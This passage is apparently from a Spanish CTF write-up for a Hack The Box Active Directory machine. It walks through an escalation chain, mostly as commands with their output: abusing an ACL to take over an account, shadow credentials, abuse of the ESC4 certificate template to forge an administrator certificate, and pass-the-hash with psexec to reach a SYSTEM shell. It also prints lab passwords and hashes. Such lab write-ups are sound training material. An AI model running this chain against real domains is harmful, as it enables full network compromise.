afsh4ck@kali$ bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' 

[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc

Obtener derechos de control

Luego, se utiliza Impacket para modificar los derechos de acceso DACLS, proporcionándole a 'ryan' control completo sobre el objetivo.

afsh4ck@kali$ impacket-dacledit  -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/"ryan":"WqSZAF6CysDQbGb3"

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20250121-151851.bak
[*] DACL modified successfully!

Obtener Shadow Credentials

Finalmente, Certipy se emplea para generar un certificado y un Key Credential, lo que permite autenticarse como 'ca_svc' y extraer el NT hash:

afsh4ck@kali$ certipy-ad shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'd413c5e7-b6d0-b905-5811-d8a830363f65'
[*] Adding Key Credential with device ID 'd413c5e7-b6d0-b905-5811-d8a830363f65' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'd413c5e7-b6d0-b905-5811-d8a830363f65' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce

Tenemos el hash de CA_SVC! Vamos a enumerar vulnerabilidades en el host usando el hash.

ntpdate

afsh4ck@kali$ sudo ntpdate sequel.htb
2025-05-07 15:28:03.013486 (+0200) -0.220061 +/- 0.024190 sequel.htb 10.10.11.51 s1 no-leap

Buscar Templates vulnerables

certipy-ad find -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250507144315_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250507144315_Certipy.txt'
[*] Saved JSON output to '20250507144315_Certipy.json'

Ahora que sabemos qué templates hay en la CA, el siguiente paso es encontrar uno que sea vulnerable y no requiera un Subject Alternative Name (SAN) como DunderMifflinAuthentication

certipy-ad template -template DunderMifflinAuthentication \
-u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'

Buscar vulnerabilidades

certipy-ad find -vulnerable -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250507144757_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250507144757_Certipy.txt'
[*] Saved JSON output to '20250507144757_Certipy.json'

Eso nos ha generado un archivo 20250507144757_Certipy.txt. Vamos a echarle un ojo:

    Enrollment Flag                     : AutoEnrollment
  36   │                                           PublishToDs
  37   │     Private Key Flag                    : 16842752
  38   │     Extended Key Usage                  : Client Authentication
  39   │                                           Server Authentication
  40   │     Requires Manager Approval           : False
  41   │     Requires Key Archival               : False
  42   │     Authorized Signatures Required      : 0
  43   │     Validity Period                     : 1000 years
  44   │     Renewal Period                      : 6 weeks
  45   │     Minimum RSA Key Length              : 2048
  46   │     Permissions
  47   │       Enrollment Permissions
  48   │         Enrollment Rights               : SEQUEL.HTB\Domain Admins
  49   │                                           SEQUEL.HTB\Enterprise Admins
  50   │       Object Control Permissions
  51   │         Owner                           : SEQUEL.HTB\Enterprise Admins
  52   │         Full Control Principals         : SEQUEL.HTB\Cert Publishers
  53   │         Write Owner Principals          : SEQUEL.HTB\Domain Admins
  54   │                                           SEQUEL.HTB\Enterprise Admins
  55   │                                           SEQUEL.HTB\Administrator
  56   │                                           SEQUEL.HTB\Cert Publishers
  57   │         Write Dacl Principals           : SEQUEL.HTB\Domain Admins
  58   │                                           SEQUEL.HTB\Enterprise Admins
  59   │                                           SEQUEL.HTB\Administrator
  60   │                                           SEQUEL.HTB\Cert Publishers
  61   │         Write Property Principals       : SEQUEL.HTB\Domain Admins
  62   │                                           SEQUEL.HTB\Enterprise Admins
  63   │                                           SEQUEL.HTB\Administrator
  64   │                                           SEQUEL.HTB\Cert Publishers
  65   │     [!] Vulnerabilities
  66   │       ESC4                              : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions

El archivo muestra que el template analizado es vulnerable a ESC4, y el grupo SEQUEL.HTB\Cert Publishers tiene permisos peligrosos (Full Control) sobre él.

Solicitud de ticket kerberos de administrator

sudo certipy-ad req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn administrator@sequel.htb -ns 10.10.11.51 -dns sequel.htb -debug

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'sequel.htb' at '10.10.11.51'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.51[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.51[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 28
[*] Got certificate with multiple identifications
    UPN: 'administrator@sequel.htb'
    DNS Host Name: 'sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_sequel.pfx'

Eso nos crea el certificado administrator_sequel.pfx que usaremos para volcar el hash.

Obtener hash de admin con el certificado

afsh4ck@kali$ certipy-ad auth -pfx administrator_sequel.pfx  -domain sequel.htb

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'administrator@sequel.htb'
    [1] DNS Host Name: 'sequel.htb'
> 0
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

Acceso como SYSTEM

afsh4ck@kali$ impacket-psexec -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff sequel.htb/administrator@10.10.11.51

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.11.51.....
[-] share 'Accounting Department' is not writable.
[*] Found writable share ADMIN$
[*] Uploading file iSBUNKCW.exe
[*] Opening SVCManager on 10.10.11.51.....
[*] Creating service RgiK on 10.10.11.51.....
[*] Starting service RgiK.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.6640]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 3705-289D

 Directory of C:\Users\Administrator\Desktop

01/04/2025  08:58 AM    <DIR>          .
01/04/2025  08:58 AM    <DIR>          ..
05/07/2025  05:06 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,795,066,880 bytes free

C:\Users\Administrator\Desktop> type root.txt
5222e996dc86508f9b5b0************

Y conseguimos la root flag!

Última actualización

¿Te fue útil?